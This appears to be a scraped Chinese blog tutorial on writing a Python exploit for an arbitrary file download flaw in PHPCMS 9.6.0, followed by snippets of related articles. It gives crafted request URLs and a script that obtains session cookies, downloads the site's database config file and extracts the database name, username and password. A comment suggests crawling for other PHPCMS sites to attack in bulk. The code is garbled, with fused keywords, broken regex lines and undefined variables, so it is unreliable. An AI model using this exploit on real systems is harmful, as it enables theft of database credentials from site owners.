linux phpcms,PHPCMS任意文件下载之exp编写
导读
学习编写漏洞利用exp,其实原理很简单,就是模拟人工操作。利用代码将漏洞步骤一步步展现出来,今天我们就来和大家一起学习如何编写你自己的exp
实验工具:firefox,burp,phpcms9.6.0
实验语言:Python3.4
实验环境:php+mysql+apache
首先我们先来看看今天的phpcms任意文件下载漏洞复现步骤
这里可以建议大家去看下phpcms任意文件下载代码审计的思路流程。然后再来实际复现一遍。
漏洞复现流程就是按照我们下方的每一步链接走下去!
第一步
我们先来获取phpcms/modules/wap/index.php中的cookie值
http://127.0.0.1:9096/phpcms0/index.php?m=wap&c=index&a=init&siteid=1
第二步
修改标红部分的文件即为自己想要下载的文件,这里标红部分就是你想要下载的内部文件。也就是在第二部构造我们的下载链接。对应的是构造的payload
http://127.0.0.1:9096/phpcms0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&i=1&m=1&d=1&modelid=1&catid=1&s=./caches/configs/database.ph&f=p%3%2%2*70
第三步
访问该链接得到_att_json值
http://127.0.0.1:9096/phpcms0/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=&i=1&m=1&d=1&modelid=1&catid=1&s=./caches/configs/database.ph&f=p%3%252%2]index.ph... h&f=p%3%252%2*70C
第四步
通过获取到的_att_json值来构造下载payload
第五步
通过增加json值认证去访问构造好的下载链接。将get请求中的a_k参数值替换成获取到的_att_json值,并且请求即可。这里后面的标红部分就是获取到的_att_json值
最后点击“点击下载”按钮,即可下载/caches/configs/database.php文件
exp编写
漏洞复现流程走完之后我们就要来按照漏洞复现流程进行编写我们的exp:
#-*-coding=utf-8 -*-
#author = Free雅轩
importrequests
#导入requests模块,模拟爬取访问网页
importre
#导入re正则模块,对网页中我们所需的内容进行匹配
fromurllib.parse import quote
#从urllib.parse模块中导入quote方法,用于对传递进来的url进行编码re
TIMEOUT= 3
#设置网页响应超时时间为3秒
url= r'http://127.0.0.1:9096/phpcms9.0'
#定义URL地址
#这里其实是可以利用采集工具/模拟引擎来进行爬取PHPCMS的关键字来进行批量读取/验证操作
payload=r'&id=1&m=1&f=caches/configs/database.ph%3C&modelid=1&catid=1&s=&i=1&d=1&'
#定义漏洞利用payload
cookies= {}
#设置cookie
#步骤一 获取cookie
step1= '{}/index.php?m=wap&c=index&a=init&siteid=1/'.format(url)
print('step1:{}'.format(step1))
#模拟人工操作构造第一个payload
response1_cookies= requests.get(step1 , timeout=3).cookies
#将第一步的url和cookies结合并赋值给response_cookies,设置url响应超时时间为3秒
fori in response1_cookies:
print(i)
if i.name[-7:] == '_siteid':
cookies_head = i.name[:6]
cookies[cookies_head + '_userid' ] = i.value
cookies[i.name] = i.value
print(cookies)
#步骤二 获取_att_json
step2='{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}'.format(url, quote(payload))
print('step2:{}'.format(step2))
response2_cookies= requests.get(step2 , timeout=3 , cookies=cookies).cookies
forj in response2_cookies:
if j.name[-9:] == '_att_json':
enc_payload = j.value
#步骤三 获取构造下载链接
step3= '{}/index.php?m=content&c=down&a_k={}'.format(url,enc_payload)
print('step3:{}'.format(step3))
#步骤四 利用requests模块中的text方法将网页输出,将获取到的链接中的db,username,password等重要信息匹配出来
step4= requests.get(step3 , timeout=3 , cookies=cookies).text
file= re.findall(r''([\S]+)'"
re_username= r"'username' => '([\S]+)'"
re_password= r"'password' => '([\S]+)'"
db =re.search(re_db, ret).group(1)
username= re.search(re_username, ret).group(1)
password= re.search(re_password, ret).group(1)
print(db,username, password)
exp利用
linux phpcms,PHPCMS任意文件下载之exp编写相关推荐
- PHPCMS任意文件下载之exp编写
前言 学习编写漏洞利用exp,其实原理很简单,就是模拟人工操作.利用代码将漏洞步骤一步步展现出来,今天我们就来和大家一起学习如何编写你自己的exp 实验工具:firefox,burp,phpcms9. ...
- Web安全(任意文件下载)
任意文件下载漏洞 一 . 漏洞原理 任意文件下载 , 顾名思义 , 就是可以下载网站上面的任意文件. 一些网站提供文件下载的功能,但是如果对下载的文件没有做限制,直接通过绝对路径对其文件进行下载,那么 ...
- symantec+linux+升级包,Symantec Messaging Gateway任意文件下载漏洞
发布日期:2012-12-01 更新日期:2012-12-06 受影响系统: Symantec Messaging Gateway 9.5.1 Symantec Messaging Gateway 9 ...
- 关于任意文件下载及上传漏洞
文章目录 任意文件读取下载 1.原理 2.利用方式 3.漏洞修复 4.实例 任意文件上传 1.原理 2.分类 3.基本思路 4.基本绕过方式 1.客户端检测绕过(javascript 检测) 2.服务 ...
- 山东大学软件学院项目实训-创新实训-山大软院网络攻防靶场实验平台(十三)-任意文件下载漏洞(1)
目录 前言: 一.任意文件下载 1.任意文件下载漏洞简介 1.1.简介 1.2.危害 1.3.利用 1.4.防范 2.项目配置 前言: 前面的博客记录了关于文件上传漏洞的基础知识,以及基本的漏洞出现点 ...
- 【安全漏洞】一次前台任意文件下载漏洞挖掘
1.起因 日常闲逛,翻到了某后台系统 先是日常手法操作了一番,弱口令走起 admin/123456 yyds! U1s1,这个后台功能点少的可怜,文件上传点更是别想 不过那个备份管理的界面引起了我的兴 ...
- 5 个基于Linux命令行的文件下载和网站浏览工具
Linux命令行是GNU/Linux中最神奇迷人的部分,它是非常强大的工具.命令行本身功能多样,多种内建或者第三方的命令行应用使得Linux变得更加健壮和强大.Linux Shell支持多种不同类型的 ...
- 任意文件下载漏洞知识点
文章目录 资料下载 任意文件下载 漏洞描述 利用条件 漏洞危害 漏洞发现 链接上 参数上 案例 漏洞利用 利用原理 windows路径 linux路径 修复建议 摘抄 资料下载 点击 下载 https ...
- 任意文件下载(读取)
目录 漏洞简介 产生原因 漏洞利用 常见敏感文件路径 Windows系统 Linux系统 Web应用 PHP ASP ASPX JSP 漏洞利用方法 注意事项 漏洞测试 漏洞简介 一些网站由于业务需求 ...
- 任意文件下载or任意文件读取
这里写自定义目录标题 任意文件下载/读取 危害 敏感文件举例 [^2] 任意文件下载/读取 有些网站提供文件下载或查看的功能.如果开发者没有对下载或查看操作做限制,攻击者可下载或读取敏感信息. 危害 ...
最新文章
- Linux 系统上的库文件生成与使用
- python输入转化为数字_Python中如何将输入数据转换为数字?
- 读书笔记_代码大全2第十章_变量初始化
- 融合libevent和protobuf
- 超全流程-idea对springboot+ssm的部署实现增删改查
- python3-matplotlib基本使用(以折线图为例)
- Spring Boot中防表单重复提交以及拦截器登录检测
- js 箭头函数没有 constructor,不能被new
- Java基础整理(三)
- INITRANS和MAXTRANS参数的作用
- CSS布局:让页脚始终保持底部的方法
- 如何在delphi里面控制Edit只能输入数字
- jQuery:级联查询-省份城市信息
- 灰度思维,黑白决策(上)
- 年轻人如何去有效的学习(很好的鸡汤,一语惊醒梦中人)
- 【零代码工具】15 款企业级零代码开发平台推荐,总有一款是你心仪的
- 51单片机程序存储器扩展
- 【演示文稿制作软件】Focusky教程 | 利用动画角色让演示文稿更生动
- android markdown 笔记,安卓-纯纯写作 | 快速笔记 Markdown
- java jsp页面传值_JSP 页面传值方法总结
热门文章
- 测试经典名言100句
- 高通平台 pmic—gpio修改(一)
- 多模态知识问答:MMCoQA: Conversational Question Answering over Text, Tables, and Images
- openvswitch vxlan 源码分析
- html引入lodash
- 微软开源 Python 自动化神器 Playwright
- 2022年山东省安全员C证考试资料及山东省安全员C证考试试题
- 游戏出海欧洲有哪些可以接入的支付渠道
- skb_buff结构体解析
- Intelligent information retrieval(智能信息检索综述)